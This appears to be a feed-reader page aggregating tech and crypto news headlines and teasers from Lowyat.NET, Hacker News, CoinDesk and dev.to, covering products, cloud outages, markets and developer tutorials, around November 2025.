    Porsche has unveiled the highly anticipated fully electric Cayenne, expanding the SUV’s powertrain lineup with two variants: the Cayenne Electric and the Cayenne Turbo Electric. Both models feature an all-wheel-drive system. In terms of design, the Cayenne EV sports slim Matrix LED headlights that are horizontally oriented and slightly rounded at the edges. The front […] The post Porsche Debuts Fully Electric Cayenne With A Dual-Variant Lineup appeared first on Lowyat.NET.  ( 37 min )
    Johor Data Centres Told To Postpone Expansions Until 2027
    As Malaysia continues to advance its AI aspirations, Johor has rapidly grown into a data centre hub. However, such developments do not come without a price. According to a report by the South China Morning Post, state officials have asked investors to temporarily halt water-cooled expansion projects for at least 18 months, or until mid […] The post Johor Data Centres Told To Postpone Expansions Until 2027 appeared first on Lowyat.NET.  ( 33 min )
    Alleged AMD Ryzen AI 9 HX 470 “Gorgon Point” Leaks
    A recent SiSoftware ranker confirms that AMD’s next Ryzen Mobile series entry, codename Gorgon Point, will be officially called the Ryzen AI 9 HX 370. The entry also confirms that the red CPU and GPU maker is sticking to the same naming convention as the CPU’s predecessor. Specs-wise, the HX 470 is virtually the same […] The post Alleged AMD Ryzen AI 9 HX 470 “Gorgon Point” Leaks appeared first on Lowyat.NET.  ( 34 min )
    The Echo Aviation Controller Has A Full Set Of Flight Controls
    If you’ve ever looked at a controller and thought that what it really needs is a full set of flight controls, then Honeycomb Aeronautical has got you covered. The company specialises in accessories like flight sticks and pedals, so clearly the next logical step is to pack those controls into a compact gamepad. Enter the […] The post The Echo Aviation Controller Has A Full Set Of Flight Controls appeared first on Lowyat.NET.  ( 34 min )
    Japanese Court Orders Cloudflare To Pay RM13.3 Million To Publishers Over Manga Piracy
    Oh Cloudflare. Just when you think the online service provider and web host can take a breather, it gets another problem slapped right into its face. This time, it’s an order by the Japanese courts to pay restitution to several Japanese publishers for hosting manga piracy sites. The Tokyo District Court ordered Cloudflare to pay […] The post Japanese Court Orders Cloudflare To Pay RM13.3 Million To Publishers Over Manga Piracy appeared first on Lowyat.NET.  ( 35 min )
    Fujifilm instax mini LiPlay+ Lands In Malaysia; Priced At RM938
    Last month, Fujifilm unveiled the instax mini LiPlay+, succeeding the mini LiPlay. Following the initial announcement, the brand has officially brought its latest hybrid instant camera to our shores. Like the preceding model, the mini LiPlay+ doubles as a smartphone printer. Beyond that, it comes with some upgrades, including a new selfie-taking capability. As a […] The post Fujifilm instax mini LiPlay+ Lands In Malaysia; Priced At RM938 appeared first on Lowyat.NET.  ( 35 min )
    Samsung Galaxy Glasses Details Revealed Ahead Of 2026 Unveiling
    If you’ve kept up with Samsung, then you might have heard that the company plans to launch its very own smart glasses sometime in 2025. But seeing how the year is almost over, we won’t be seeing it until 2026. Be that as it may, Samsung has disclosed several details about the wearable ahead of […] The post Samsung Galaxy Glasses Details Revealed Ahead Of 2026 Unveiling appeared first on Lowyat.NET.  ( 35 min )
    TQ Wuling Bingo Now Available For Booking In Malaysia
    The upcoming TQ Wuling Bingo is now open for booking, just days after the fully electric (EV) hatchback received its updated specifications. As per the automaker’s official website, both the Pro and Max variants can be reserved with a booking fee of RM50. Customers can also choose their preferred colour during the booking process. The […] The post TQ Wuling Bingo Now Available For Booking In Malaysia appeared first on Lowyat.NET.  ( 34 min )
    Japanese Researchers Have Developed GPU-Powered, Room-Sized ANC Technology
    Japanese researchers at NTT Laboratories have reportedly developed what they are calling the “world’s first spatial active noise control (spatial ANC) technology. While the technology isn’t new, its application in this context can fill a room, literally. NTT Laboratories says it achieved the spatial ANC by using a general purpose GPU, or GPGPU. “This technology […] The post Japanese Researchers Have Developed GPU-Powered, Room-Sized ANC Technology appeared first on Lowyat.NET.  ( 34 min )
    U Mobile Expands ULTRA5G In Bangi, Putrajaya, And PJ New Town
    U Mobile has rolled out its ULTRA5G network to three more major areas in the Klang Valley, bringing the next-generation 5G coverage to Bangi, Putrajaya, and Petaling Jaya New Town. Customers can now access the telco’s enhanced 5G experience throughout these entire townships, with supported devices displaying the “UM ULTRA5G” network name whenever the service […] The post U Mobile Expands ULTRA5G In Bangi, Putrajaya, And PJ New Town appeared first on Lowyat.NET.  ( 35 min )
    Lepas Malaysia Confirms L8 SUV As First Model For 2026 Launch
    Lepas Malaysia has confirmed its debut in the local market in the first half of 2026. Recently, during a Media Connection Session, the company confirmed that its first model for the Malaysian market will be the L8 SUV. As previously highlighted, the SUV showcases sharp, angular LED daytime running lights, vertically stacked LED headlights set […] The post Lepas Malaysia Confirms L8 SUV As First Model For 2026 Launch appeared first on Lowyat.NET.  ( 34 min )
    HONOR Robot Phone Makes First Physical Appearance In China
    HONOR’s intriguing “Robot Phone” has made an appearance during the brand’s HONOR User Carnival in China. Initially revealed just partially via numerous teasers, the device is finally shown in all of its glory to visitors of the event. In case you missed our prior coverage, what makes the HONOR Robot Phone unique is its three-axis […] The post HONOR Robot Phone Makes First Physical Appearance In China appeared first on Lowyat.NET.  ( 34 min )
    TikTok To Let Users Limit AI Content Appearing In Their Feeds
    TikTok is preparing to give users more control over how much AI-generated content appears in their feeds. The company confirmed that a new AI content control toggle will arrive soon in the Manage Topics section, offering a slider that adjusts the amount of AI content shown in the For You feed. This sits alongside existing […] The post TikTok To Let Users Limit AI Content Appearing In Their Feeds appeared first on Lowyat.NET.  ( 33 min )

  • Open

    CornHub
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    Tailscale Down
    Comments  ( 5 min )
    The patent office is about to make bad patents untouchable
    Comments  ( 9 min )
    It's your fault my laptop knows where I am
    Comments  ( 7 min )
    Roblox Requires Age Checks for Communication, Ushering in New Safety Standard
    Comments  ( 10 min )
    Screw it, I'm installing Linux
    Comments  ( 35 min )
    I built an faster Notion in Rust
    Comments  ( 6 min )
    How Slide Rules Work
    Comments  ( 73 min )
    Rethinking C++: Architecture, Concepts, and Responsibility
    Comments  ( 43 min )
    Researchers discover security vulnerability in WhatsApp
    Comments  ( 5 min )
    New magnetic component discovered in the Faraday effect after nearly 2 centuries
    Comments  ( 10 min )
    Is 30% of Microsoft's code AI-generated?
    Comments  ( 12 min )
    Microsoft AI CEO pushes back against critics after recent Windows AI backlash
    Comments  ( 106 min )
    Copyparty, the FOSS file server [video]
    Comments
    Detection, Decoding of "Power Track" Predictive Signaling in Equity Market Data
    Comments  ( 73 min )
    Loose Wire Leads to Blackout, Contact with Francis Scott Key Bridge
    Comments  ( 7 min )
    Racing karts on a Rust GPU kernel driver
    Comments  ( 7 min )
    Show HN: F32 – An Extremely Small ESP32 Board
    Comments  ( 10 min )
    Cognitive and Mental Health Correlates of Short-Form Video Use
    Comments
    The Subversive Hyperlink
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    Robert Louis Stevenson's Art of Living (and Dying)
    Comments  ( 13 min )
    The death of Arduino?
    Comments  ( 1 min )
    The Boring Part of Bell Labs
    Comments
    Adafruit on the Death of Arduino
    Comments  ( 6 min )
    The lost cause of the Lisp machines
    Comments  ( 8 min )
    Measuring Political Bias in Claude
    Comments  ( 20 min )
    Pozsar's Bretton Woods III: Sometimes Money Can't Solve the Problem
    Comments  ( 14 min )
    Gov. Abbott's office redacts pages of emails about Elon Musk
    Comments  ( 10 min )
    What AI Is Really For
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    Why Samsung Phones Are Failing Emergency Calls in Australia
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    Broccoli Man, Remastered
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    Netherlands returns control of Nexperia to Chinese owner
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    To Launch Something New, You Need "Social Dandelions"
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    Building more with GPT-5.1-Codex-Max
    Comments
    I am just sooo sick of AI prediction content, let's kill it already
    Comments  ( 1 min )
    Show HN: DNS Benchmark Tool – Compare and monitor resolvers
    Comments  ( 87 min )
    Show HN: Virtual SLURM HPC cluster in a Docker Compose
    Comments  ( 22 min )
    Static Web Hosting on the Intel N150: FreeBSD, SmartOS, NetBSD, OpenBSD and Linu
    Comments  ( 13 min )
    Meta Segment Anything Model 3
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    Questions for Cloudflare
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    Adventures in Upgrading Proxmox
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    Build vs. Buy: What This Week's Outages Should Teach You
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    Outdated Samsung handset linked to fatal emergency call failure in Australia
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    Random lasers from peanut kernel doped with birch leaf–derived carbon dots
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    Meta Segment Anything Model 3
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    Slicing Is All You Need: Towards a Universal One-Sided Distributed MatMul
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    Dumb Ways to Die: Printed Ephemera
    Comments
    Hollywood's vision of ancient Rome is all wrong, according to Mary Beard
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    Mary Beard: Hollywood Lied to You About Ancient Rome. Here's the Truth
    Comments  ( 3 min )
    Emoji Evidence Errors Don't Undo a Murder Conviction–People vs. Harmon
    Comments  ( 8 min )
    Launch HN: Mosaic (YC W25) – Agentic Video Editing
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    Show HN: Vibe Prolog
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    The Only GM EV1 Ever Publicly Sold, and Where It's Going Next
    Comments  ( 37 min )
    We're (now) moving from OpenBSD to FreeBSD for firewalls
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    Europe is scaling back its landmark privacy and AI laws
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    How to Stay Sane in a World That Rewards Insanity
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    Proxmox Virtual Environment 9.1 available
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    What happens when even college students can't do math anymore?
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    Europe's cookie nightmare is crumbling. EC wants preference at browser level
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    Forever Object: The Staple-Less Oceanus Brass Stapler
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    Your Smartphone, Their Rules: App Stores Enable Corporate-Government Censorship
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    The Peaceful Transfer of Power in Open Source Projects
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    Zo: Personal Servers for Everyone
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    Breakthrough in antimatter production
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    Larry Summers resigns from OpenAI board
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    LPLB: An early research stage MoE load balancer based on linear programming
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    Geothermal's Time Has Come
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    How do the pros get someone to leave a cult?
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    Pimped Amiga 500
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    The Cities Skylines Paradox: how the sequel stumbled
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    Thunderbird Adds Native Microsoft Exchange Email Support
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    Learning to Boot from PXE
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    What Killed Perl?
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    Quantum physicists have shrunk and "de-censored" DeepSeek R1
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    A down detector for down detector's down detector
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    Band of Holes
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    I made a down detector for down detector
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  • Open

    Stablecoin Spending Goes Mainstream With Opera MiniPay’s LatAm Integration
    The feature connects USDT balances to PIX and Mercado Pago, enabling users to pay with QR codes and converting to local currency instantly.  ( 33 min )
    Samourai Wallet Co-Founder Bill Hill Sentenced to 4 Years in Prison for Unlicensed Money Transmitting
    The 67-year-old Hill’s recent autism diagnosis, as well as his advanced age, seemed to serve as mitigating factors for the sentencing judge.  ( 36 min )
    Nvidia Earnings Beat, Strong Outlook Calm Jittery Markets; Bitcoin Re-Takes $90K
    "Blackwell sales are off the charts, and cloud GPUs are sold out," said Nvidia CEO Jensen Huang.  ( 33 min )
    DeFi Giant Spark Shelves Crypto App Plans to Focus on Institutional Infrastructure
    The protocol will instead focus on "liquidity infrastructure and deals" such as its recent $1 billion investment into PayPal's PYUSD.  ( 33 min )
    Trump's Pick to Run CFTC, Selig, Tells Senators Crypto a 'Critical Mission' at Agency
    Mike Selig, the nominee to be the next chairman of the Commodity Futures Trading Commission, testified at his confirmation hearing in the Senate.  ( 36 min )
    Fed Rate Cut Odds Plunge Further on Jobs Data Delays
    Traders slash chances of a December cut to 33% as the Fed loses a key data point ahead of its final 2025 meeting.  ( 35 min )
    New Hampshire Awaits Bitcoin Bond Buyer to Get First State Effort Rolling
    The New Hampshire Business Finance Authority took the opening steps toward shepherding a potential $100 million private-sector bitcoin bond.  ( 34 min )
    Crypto Leverage Hits Record High in Q3 as DeFi Dominance Reshapes Market Structure: Galaxy
    Onchain lending drove crypto-collateralized debt to a new peak in last quarter, but the leverage underpinning the market is now better collateralized than during the previous cycle.  ( 35 min )
    AI Agents Need Identity and Zero-Knowledge Proofs Are the Solution
    ZKPs could become the backbone of a new era of trusted AI and digital identity, giving individuals and organizations a way to interact safely and transparently across platforms and borders, argues Evin McMullen, CEO and co-founder of Billions Network.  ( 39 min )
    Bitcoin Slips Back Below $90K — Crypto Correction Now Ranks Among Worst Since 2017, K33 Says
    After a rare spot of outperformance on Tuesday, bitcoin has resumed sliding, with one analyst eyeing $84,000–$86,000 as potential local bottom.
    Stella's XLM Token Breaks Key $0.25 Support as Altcoins Suffer Continued Drawdown
    Technical breakdown gains momentum as institutional selling accelerates through overnight session.
    Coinbase Debuts DEX Trading in Brazil as ‘Everything App’ Vision Grows
    The move comes amid new regulations from Brazil's central bank, requiring crypto firms to be licensed and report international transactions.
    HBAR Slides 0.5% to $0.146 as Technical Support Crumbles
    Hedera's native token breaks key levels on elevated volume. Institutional distribution patterns intensify selling pressure.
    ICP Softens as Failed Breakout Above $5.17 Shifts Market Back Into Consolidation
    A surge in trading activity at key resistance levels marked the exhaustion of Monday’s rally, sending ICP back toward its short-term support band.
    BONK Extends Slide as Key Support Break Raises Prospect of Further Downside
    BONK slipped beneath a key support level amid a sharp rise in trading activity, with intraday charts now pointing toward a fragile short-term structure.
    Crypto Long & Short: Licences, Liquidity and the Shifting Geography of Exchange Quality
    In this week’s Crypto Long & Short Newsletter, Joshua de Vos shares insights from a recent Benchmark report on how the exchange landscape is maturing and becoming more execution-focused, but increasingly uneven as regional licensing diverges, liquidity fragments, and transparency advances inconsistently. Then, we take a look at where the digital assets market may be headed in the final weeks of 2025 with Andy Baehr’s “Vibe Check."
    Senate Banking Panel Advances FDIC's Travis Hill for Wider Confirmation Vote
    The Senate Banking Committee voted along party lines to send FDIC Acting Chair Travis Hill's nomination to the wider Senate for a final vote on taking the permanent job.
    The Protocol: Hyperliquid Introduces Proposal to Cut Fees
    Also: Aerodrome Overhaul, Cloudflare Outage and dYdX Buyback Increase Approved.
    Winklevoss-Backed Cypherpunk Buys $18M More Zcash, Bringing Holdings to $150M
    The digital-asset treasury firm is sitting on a over 100% paper gains following Zcash's recent rally.
    Crypto ETFs Enter Maturity Phase as IRS and SEC Actions Drive Rapid Expansion of Products
    Staking guidance, broader listing standards and new index tools show how crypto ETFs are becoming core holdings.
    CoinDesk 20 Performance Update: Index Declines 2.7% as All Constituents Trade Lower
    Bitcoin Cash (BCH) fell 7% and Ripple (XRP) dropped 4.7%, leading the index lower.
    Bullish Swings to Profit in Third Quarter After Adding Options, U.S. Spot Trading
    Shares of the company rose 2% in pre-market trading.
    Banks' Capital Rules When Holding Crypto Need to Be Reworked, Says Basel Chair: FT
    Erik Thedéen said a different approach is needed as the U.S. and U.K. refused to implement the rules already set out.
    Apex Group Said to Buy Broker Dealer Globacap for U.S. Tokenization Push
    London-based Globacap’s U.S. broker-dealer and alternative trading system (ATS) is regulated by FINRA and the SEC.
    Bitcoin Market Watch: Nvidia Earnings, Fed Minutes and Payrolls to Set The Tone
    Investors navigate AI driven volatility, rate cut uncertainty and critical economic data releases.
    Hanging in There: Crypto Daybook Americas
    Your day-ahead look for Nov. 19, 2025
    Crypto Markets Today: Altcoins Show Signs of Life as Bitcoin Holds Key Support Above $88K
    With bitcoin stabilizing near critical support, traders shifted into altcoins, sparking sharp rebounds across a market still gripped by extreme fear.
    BlackRock's Bitcoin ETF, IBIT, Posts Record One-Day Outflow of $523.2 Million
    The average spot bitcoin ETF buyer sits near a $90,000 cost basis, leaving most investors roughly flat.
    Hyperliquid Unveils HIP-3 Growth Mode, Slashing Fees by 90% to Boost New Markets
    Hyperliquid has launched HIP-3 growth mode, allowing permissionless market deployment with significantly reduced fees to enhance liquidity.
    SafePal Brings Hyperliquid Perpetuals to Wallet in Major DeFi Push
    The wallet provider is deepening its bet on decentralized derivatives trading with a three-part integration.
    DeFi Insurance Alternative Nexus Mutual Integrates Restaking Specialist Symbiotic
    A new class of Symbiotic underwriting vaults will create a reinsurance layer to help scale Nexus Mutual.
    From $140K Call to $80K Put: Bitcoin (BTC) Positioning Reverses Completely
    The price of bitcoin has dropped over 25% to $91,000 since Oct. 8.  ( 35 min )
    Asia Morning Briefing: BTC Market Stress Reveals a New Crypto Order
    Market observers note stable XRP/BTC and ETH/BTC ranges and an unusually balanced top-20 ranking, signaling fundamentals-driven dispersion rather than a broad alt season.  ( 34 min )
  • Open

    The Tool I Finally Built to Escape My Terminal Chaos
    There was a stretch of days where my terminal tabs felt like they were slowly multiplying behind my back. I’d open a new project “just to try something,” hop into a client repo to fix a bug, jump into another folder because I remembered I needed to update something “real quick,” then spin up yet another experimental idea at 1 a.m. before bed. Suddenly I had four different terminals open, each running something important, each shouting logs at me, and absolutely no memory of which script belonged to which project. And honestly? But eventually I realized a pattern: managing coding. I wanted one place, a calm little command center, where I could see all my projects, what scripts they had, what was running, what wasn’t, and what was broken. No more guessing. No more hunting. No more “oh cool, …  ( 8 min )
    Day 16 : Rest
    Nothing much to mention today, I just wanted to take some rest! Youtube videos are lot of confusing, if you have any ideas or suggestions on how to learn this, please help me out! Django #WebDevelopment #Python #LearningInPublic #100DaysOfCode #BeginnerDev #postgresql  ( 6 min )
    Why Business Central’s Standard Scheduling Isn’t Enough for Complex Production Planning
    Manufacturers using Microsoft Dynamics 365 Business Central know that production scheduling can quickly become complicated. The built-in tools handle basic scheduling, but when multiple work centers, machine constraints, and shifting priorities come into play, things get complex. Below are three common questions users ask when schedules look good on-screen but fall apart on the shop floor. Business Central’s standard scheduling uses backward scheduling and assumes infinite capacity. The system works backward from a due date to suggest a start date, often setting production to begin in the past. Machines and work centers appear to have unlimited hours, leading to overloaded schedules no team could realistically execute. Production managers spend hours manually moving tasks, adjusting timeli…  ( 7 min )
    Why Business Central’s Standard Scheduling Isn’t Enough for Complex Production Planning
    Manufacturers using Microsoft Dynamics 365 Business Central know that production scheduling can quickly become complicated. The built-in tools handle basic scheduling, but when multiple work centers, machine constraints, and shifting priorities come into play, things get complex. Below are three common questions users ask when schedules look good on-screen but fall apart on the shop floor. Business Central’s standard scheduling uses backward scheduling and assumes infinite capacity. The system works backward from a due date to suggest a start date, often setting production to begin in the past. Machines and work centers appear to have unlimited hours, leading to overloaded schedules no team could realistically execute. Production managers spend hours manually moving tasks, adjusting timeli…  ( 7 min )
    Testing the Pioneer DDJ-FLX10: First Impressions from a Working DJ
    I’ve been looking for a controller that bridges the gap between a traditional club setup and a more experimental, production-driven workflow. Last week I started testing the Pioneer DDJ-FLX10, and it has already reshaped the way I think about mixing. I wasn’t expecting it to have such a big impact, but a few days with it made certain ideas feel possible that I couldn’t quite execute on other gear. The most talked-about feature is the Track Separation system, and it really does live up to the hype. Being able to isolate vocals, drums, and melodic elements in real time gives you far more flexibility than the standard EQ or filter approach. It feels closer to having stem packs for every song in your library, even if the original track wasn’t designed that way. I’ve already used it to strip ou…  ( 7 min )
    What Is the Best AI Model in 2025? Deep Dive into Gemini 3, GPT-4, and Claude 2.1
    In late 2025, three large models dominate most serious AI discussions: Google’s Gemini 3, OpenAI’s GPT-4 (and GPT-4 Turbo via ChatGPT), and Anthropic’s Claude 2/2.1. All three are capable flagships, yet they embody very different philosophies: Google optimizes for multimodality and massive context. OpenAI emphasizes polished reasoning and rich tooling. Anthropic focuses on safety, honesty, and long-context analysis. which model is best for a given use case, you need more than marketing claims. You need a structured comparison of architecture, reasoning, coding ability, context length, multimodality, developer ergonomics, and safety. This article offers exactly that — in an editorial yet technical framing, optimized for SEO and GEO coverage across US, EU, and APAC audiences. Gemini …  ( 19 min )
    ⚠️ The Hidden Privacy Risks Behind AI Assistants
    Why Chatbots Change User Behaviour and Why Google Might Regain the Lead Conversational AI is becoming the default interface for everyday digital tasks. People ask questions, explain situations and seek guidance in a way that feels natural. But behind that convenience sits a shift that most users barely recognise. Chatbots receive far more personal context than search engines ever did, and this difference has major implications for privacy and platform dominance. This article examines the concerns that come with this new behaviour and why Google’s position in the ecosystem may eventually give it an advantage over standalone assistants like ChatGPT. For more insights on AI transformation, visit the Scalevise resource hub at https://scalevise.com/resources A search bar limits how much peopl…  ( 12 min )
    What Is LLM Post-Training? Best Techniques in 2025
    Large language models (LLMs) have evolved from impressive demos into the computational backbone of search, coding copilots, data analysis, and creative tools. But as pre-training pushes up against data scarcity and rising compute costs, simply “making the base model bigger” is no longer a sustainable strategy. In 2025, the real leverage has shifted to post-training: everything we do after the base model is trained to turn a generic text predictor into a reliable, aligned, domain-aware system. OpenAI, Scale AI, Hugging Face, Red Hat, and others are converging on the same insight: if pre-training built the engine, post-training is where we tune it for the track. This article explains: What LLM post-training is and why it matters in 2025 Top post-training techniques (SFT, RLHF, PEFT, continu…  ( 16 min )
    A Simple Guide to Route Tables and Internet Gateways in AWS
    Exploring how traffic moves inside a VPC can make AWS networking feel much more approachable. Route tables and Internet Gateways (IGWs) quietly influence how your subnets function across your network. In this article, we’ll walk through them step by step so the concepts stay clear and grounded. Route tables are essentially instruction sets that guide traffic within your VPC. Each subnet connects to exactly one route table, which determines what that subnet can reach. The default local route (for example, 10.0.0.0/16 local) lets all subnets talk to each other without extra configuration. Anything beyond that depends on the routes you add. Think of routes like road signs: “If traffic wants to go to X, send it to Y.” Route tables also become more interesting in multi-VPC environments. You mig…  ( 9 min )
    Testing LLM Prompts in Production Pipelines: A Practical Approach
    Over the past few months, I’ve been working on integrating a number of LLM-based features throughout our product; things like content generation, intelligent recommendations, and agentic task flows. As these features matured, one question kept coming up: how do we actually test this? Traditional unit testing works beautifully for deterministic code. You write a test, assert an expected output, and move on. But LLMs don’t behave that way; run the same prompt twice and you'll get two different responses. So how do you test something that never gives you the same answer? Our in-house LLM service already had strong test coverage, so at the application layer we treated it like any other dependency: we mocked it. Our unit tests would stub out the LLM responses and focus on testing the code aroun…  ( 11 min )
    The pain of Windows development
    When joining a mixed reality (XR) company I wanted to help with the scripting and we were all on Windows at the time. So, I was introduced to PowerShell and system management. I quickly found out that Windows makes everything difficult. Networked system communication, software versioning and an overall bloated OS to name a few pain points. One of the core functions of our dashboard was to run PowerShell scripts from Unreal. I discovered when running 20 scripts at once would just max out the CPU. Each instance of PowerShell launches a .NET instance in the background, couple that with anti malware software scanning it or a machine left on all the time and you've got a bad time. Even basic ping scripts would be unreliable, Windows limits network resources so they cannot be abused (ICMP throt…  ( 7 min )
    What Is ChatGPT Group Chat? A 2025 Guide to AI Collaboration
    As AI systems evolve from single-user assistants into multi-participant collaborators, ChatGPT Group Chat has emerged as one of the most important developments in OpenAI’s product roadmap. Instead of siloed conversations, teams can now interact with ChatGPT in a shared, persistent environment, transforming it into an AI-native workspace for communication, knowledge sharing, and real-time ideation. what ChatGPT Group Chat is, how it works, and why it matters for global organizations, educators, and everyday users. Written with SEO GEO in mind, the piece maintains a technical and editorial tone while providing practical guidance for readers across the US, EU, and APAC. In the updated ChatGPT interface, users can initiate a group chat by selecting “Start a Group Chat” from the navigation bar…  ( 9 min )
    Nuxt Tutorial 5 - Middleware
    This part of the Nuxt tutorial focuses on middleware — handlers that can be invoked automatically before rendering a given page on the frontend or before processing data on the server side. Client-side middleware files live in the /app/middleware folder, from which Nuxt automatically loads them. Middleware runs during navigation (routing). For a file to be recognized as middleware, it must export default the defineNuxtRouteMiddleware method. The handler receives to (destination) and from (origin) route objects. The syntax looks like this: export default defineNuxtRouteMiddleware((to, from) => { // logic }) The type of to and from params comes from Vue Router and is called RouteLocationNormalizedGeneric. Through these objects you can access all key navigation info — URL, query parameters…  ( 9 min )
    What Is Learn-to-Steer? NVIDIA’s 2025 Spatial Fix for Text-to-Image Diffusion
    Text-to-image diffusion models have become the workhorses of generative imaging. They can paint photorealistic scenes, mimic art styles, and blend concepts in ways that were science fiction a few years ago. Yet they stumble embarrassingly on a skill that even small children master: basic spatial reasoning. Ask a state-of-the-art model for “a dog to the right of a teddy bear” and you often get: The dog on the left One of the objects missing Or a bizarre hybrid where dog and teddy are fused into a single creature These failures become more severe for unusual compositions like “a giraffe above an airplane”. Traditional fixes range from expensive fine-tuning to brittle, hand-written loss functions at inference time—but both options come with significant downsides. NVIDIA’s Learn-to-Steer fram…  ( 15 min )
    Embedded Swift Gets Major Upgrades in Swift 6.3
    Swift 6.3 is bringing significant enhancements to Embedded Swift, the subset of Swift designed for resource-constrained environments like microcontrollers. Here's what's new: Floating-point printing: The description and debugDescription properties now work for Float, Double, and other floating-point types with a new all-Swift implementation Better diagnostics: New EmbeddedRestrictions diagnostic group warns about unsupported language constructs Swift MMIO 0.1.x: Includes code generation from SVD files and improved debugging with SVD2LLDB plugin @c attribute: Define C-compatible functions and enums (from SE-0495) @c(MyLib_initialize) public func initialize() { ... } Improved type matching: Better tolerance for mismatching C signatures, eliminating cryptic deserialization errors Enhanced LLDB support: Better value printing for Embedded Swift types Core dump inspection: Dictionary, Array, and other common types now inspectable without a live process ARMv7m exception unwinding: Complete backtraces through exception frames @section and @used attributes: Control where globals are emitted and ensure symbols aren't stripped (SE-0492) Weak symbol definitions: Fixes duplicate symbol errors in diamond dependencies @export attribute: Better control over function visibility (SE-0497) Want to dive deeper? Read the full announcement on Swift.org  ( 8 min )
    Quick Update on EcoFurball: New Guide Published + Behind the Scenes
    I’ve been continuing to chip away at EcoFurball — my little side project focused on sustainable, eco-friendly pet care. If you saw my earlier post, you know this is something I’m building slowly, one useful guide at a time. This week, I published a new article that dives into something most pet owners (including me, originally) never think about: microplastics in our pets’ daily routine. From water bowls to indoor dust, it’s wild how many small things add up. Here’s the new post if you’re curious: 👉 [https://ecofurball.com/reduce-microplastics-in-your-pets-routine/] From a project-building perspective, this piece was fun because it touched multiple parts of the workflow: researching a topic where pet care overlaps with environmental science writing with clarity but avoiding the “SEO robot voice” creating multiple images and matching schemas and making sure the whole thing fits into the content structure I’ve been evolving over the last couple of months The more I work on EcoFurball, the more I realise that keeping the site healthy isn’t just about writing articles — it’s about maintaining the workflow behind them: backlinks, fresh posts, image prep, schemas, and the whole publishing pipeline. If you’re working on a side project too — whether it’s dev-focused or content-focused — I’d love to hear: Always open to hearing how other creators balance consistency with everything else in life.  ( 6 min )
    The Hidden Failure Pattern Behind the AWS, Azure and Cloudflare Outages of 2025
    Three major outages in 2025 looked unrelated, but all were triggered by the same hidden architectural weakness. This post breaks down how tiny internal assumptions inside AWS, Azure and Cloudflare cascaded into global failures, and why this pattern matters for anyone building distributed systems. Cloudflare’s outage this week looked like another routine disruption. These were not isolated failures. shared structural pattern. Different providers. Different stacks. Different layers. Same failure behaviour. Cloudflare’s incident had nothing to do with load, DDoS attacks, or hardware. The sequence unfolded like this: extra metadata became visible a bot-scoring query wasn’t built to handle it the feature file doubled in size it exceeded a hardcoded limit FL proxies panicked bot scoring col…  ( 8 min )
    Cloudflare went down yesterday. My monitoring lied. So I built this.
    Yesterday’s Cloudflare outage wasted a few hours of my time — not because the outage was confusing, but because my monitoring stack gave me zero context about what was actually failing. Everything lit up red. Every alert fired. my origin Cloudflare’s edge DNS SSL routing My servers were completely fine the whole time. The real issue ended up being Cloudflare’s Bot Management system (a feature file doubled in size and tripped them up). The bigger discovery: So I built a simple tool today to diagnose exactly that: 👉 https://stayup.dev Paste a URL and it checks: origin health Cloudflare/Vercel/AWS edge DNS SSL expiry CDN failure patterns I built this out of frustration, but if you’re interested I’d love to hear how your monitoring handled the outage yesterday.  ( 6 min )
    Despliegue de una aplicación en AWS usando ECS + ECR
    En este post te cuento cómo desplegué una aplicación en AWS usando Elastic Container Service (ECS) y Elastic Container Registry (ECR). 👉 La idea es: contenerizamos la app, subimos la imagen, armamos un clúster ECS y la aplicación queda corriendo en ECS (Con EC2) ARQUITECTURA 🐳 1. Preparar la instancia EC2 para construir la imagen Primero lanzamos una EC2 con Amazon Linux 2023 para preparar la imagen que luego enviaremos a ECR. 🔧 Instalar Docker y Git sudo dnf update -y sudo yum install -y docker sudo systemctl enable --now docker sudo systemctl status docker sudo yum install -y git 📥 Clonar el repositorio y construye la imagen. Clona la carpeta 4 del repositorio: https://github.com/NotHarshhaa/DevOps-Projects/tree/master/DevOps-Project-04 git clone cd <directorio…  ( 7 min )
    Brazilian - Python Lib
    Brazilian is a Python library focused on providing a simple and powerful way to work with common Brazilian data. It is currently in its early stages, contributors and feedback are welcome. GitHub: (link below) https://github.com/MauricioReisdoefer/brazilian  ( 6 min )
    System Design Interview Tip No One Talks About
    System design interviews can feel overwhelming. You draw big boxes. You label them. You sketch arrows.You talk about APIs, queues, caching, scalability, data models, and failure modes. And even after all that, your interviewer can still say, "What happens when this part fails?" or "Walk me through your data consistency model." It feels endless 😭 But after seeing hundreds of candidates prepare, practice, and interview, one pattern has become incredibly clear. You can memorize dozens of famous system designs from YouTube videos or GitHub repositories. You can replicate architecture diagrams for Netflix, Uber, or Instagram. But real interviews almost never follow that script. Instead, interviewers test how you think. They ask questions like: Explain http vs https Why would you choose REST o…  ( 8 min )
    The Hidden Divide in Developer Culture
    Sooner or later you inherit a codebase that makes you wonder if the previous developer lost a bet. I gave candidates exactly that kind of application; circular dependencies, no separation of concerns, a structural mess and asked them to extend it. Their reactions exposed a deeper cultural divide in how developers think about their work. The initial app was a deliberate train wreck: violations of separation of concerns, circular dependencies, and no real interfaces. It exposed multiple endpoints such as HTTP and SMTP. The task was to add a new JMS endpoint. The idea was simple. Applicants received instructions written in the voice of a business owner. It wasn’t a trick question or a strict feature-delivery test. Yes, they had to add the endpoint, but the real question was whether they’d con…  ( 8 min )
    Why Computer Vision Isn’t the Best Choice for Control Systems
    I truly believe computer-vision powered control systems are inefficient. Listen to me… Computer vision takes more compute power than necessary in the sense that it does more work just to get something simple done. Like imagine I just want to “click” a button. It sounds futuristic and cool, but the world of engineering is not about “cool”, it’s about efficiency. It’s about the cleanest, most reliable, most deterministic way to get something done. But CV? orders of magnitude more energy than basic sensors, even when compressed or run on microcontrollers. And then we want to make this whole stack the “OS” of the system? foundation we’re supposed to trust? The moment you make CV dynamic, you’re telling the model to deal with noise — light changes, shadows, random movement in the background, mistakes where the model thinks your hand is a command you didn’t mean, etc. Even industry papers emphasize how camera-based gesture systems get false positives in messy environments. And a control layer that triggers stuff you didn’t intend is the fastest way to create a very unreliable system. An OS should be accurate more often than not. CV doesn’t give you that consistency unless you freeze the environment — fixed lighting, fixed angle, fixed setup — and that’s not how normal people use computers. So for me, CV fits more into monitoring roles, not control roles. Monitoring = “watch the scene, tell me what’s happening.” CV excels at monitoring. That’s where it shines. Surveillance, object detection, anomaly spotting, robotics feedback loops — the research literally shows CV thrives when it’s observing and reporting. But controlling an OS? You might ask: “What about VR?” simple sensors first and then sprinkle in CV only for extra precision. Because those basic sensors are faster, cleaner, and more reliable for moment-to-moment control. In simple terms: primary way we control systems just feels like the wrong engineering choice right now.  ( 7 min )
